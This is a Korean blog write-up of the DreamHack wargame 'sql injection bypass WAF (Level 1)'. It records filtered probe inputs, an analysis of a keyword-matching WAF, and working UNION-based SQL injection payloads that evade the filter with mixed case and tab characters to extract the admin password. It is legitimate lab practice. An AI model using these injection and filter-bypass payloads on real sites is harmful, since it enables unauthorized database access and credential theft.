드림핵 사이트의 워게임 중 웹 해킹 관련
sql injection bypass WAF (Level 1) 문제에 대해서 정리 해보려 합니다
<문제설명>
Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다.
<문제를 풀기 위한 시도 정리>
아래와 같이 uid를 입력하면 쿼리가 완성되는 화면이 보인다
먼저 admin이라고 입력을 진행 해본다
WAF의 의해 필터링이 됨을 확인 할 수 있다
여기서 어떠한 키워드가 필터링이 되는지 추가로 입력을 해본다
(물론, 제공된 소스로 확인 하는것이 제일 빠르지만 소스가 없다는 가정으로 조금 더 시도 해본다)
아래 입력한 것 대부분이 필터링이 되는것을 확인
# 필터링이 되는지 시도해본 것들
' #공백
' -- #주석처리
'substr #substr
'replace #replace
'%20 #공백 url 인코딩
'%20and%20SubStr(upw,1,1)='a #공백+substr 조합
소스코드를 확인해서 어떻게 필터링 되는지를 확인 해본다
소스코드를 확인해서 정리해보면
→ keywords 부분의 정의된 부분이 동일하게 일치하는지만 체킹 되므로 대소문자, URL인코딩 등으로 우회가 가능할 것으로 판단
→ uid의 값이 들어가지고 result[1] 부분을 보면 2번째 열의 값을 화면의 출력한다는 것을 유추 가능
소스코드를 분석한 것을 기반으로 우회가능한 쿼리를 작성해서 시도해 보자
# 소스확인후 시도한 쿼리들
'%20unION%20SeLEt%20fROm%20user%20where%20uid='ADmin
Admin
Admin으로 앞에 부분을 대문자로 변경해도 필터가 우회 되는것을 확인 가능
이러한 접근 방법으로 조금 더 쿼리를 수정해서 진행해야겠다고 판단
# 소스확인 후 시도한 쿼리
' Union SeLEct 1,2,3 From user WHere uid='AdmIn' #
%27%09Union%09SeLEct%091%2C2%2C3%09From%09user%09WHere%09uid%3D%27AdmIn%27%09%23
' Union Select 1,2,3#
%27Union%09Select%091,2,3%23
Admin%09Union%09SeLect%091,2,3%23
필터링은 우회 된거 같은데 결과가 아무것도 나오지가 않았다
값 자체의 URL 인코딩 된 값을 넣어서 아무런 출력도 되지 않았다 (멍청쓰)
다시 넣고자 하는 부분을 설정해서 넣는다
union → UniON
공백 띄어쓰기 → Tab
select → Select
'UniON Select 1, 2, 3#'
소스상에서 2번째 열의 결과가 나오는것을 확인했고, 실제로도 2번째 열에서 결과가 나오는것을 확인 했으므로
해당 부분을 활용해 FLAG값을 얻어내자
union → UniON
select → Select
from → From
admin → Admin
'UniON Select 1, (Select upw From user where uid='Admin'), 3#'
해당 쿼리로 FLAG 결과를 얻을 수 있다
문제 출처 및 참조
'IT Security > DreamHack' 카테고리의 다른 글
드림핵 워게임 command-injection-1 문제 풀이 정리 (0) | 2024.11.13 |
---|---|
드림핵 워게임 baby-union (Level 1) 문제 풀이 정리 (2) | 2024.11.12 |
드림핵 워게임 error based sql injection 문제 풀이 (Level 1) (0) | 2024.11.11 |
드림핵 워게임 sql injection bypass WAF Advanced 문제 풀이 정리 (Level 2) (1) | 2024.11.09 |
드림핵 워게임 blind sql injection advanced 문제 풀이 정리 (Level 2) (0) | 2024.11.03 |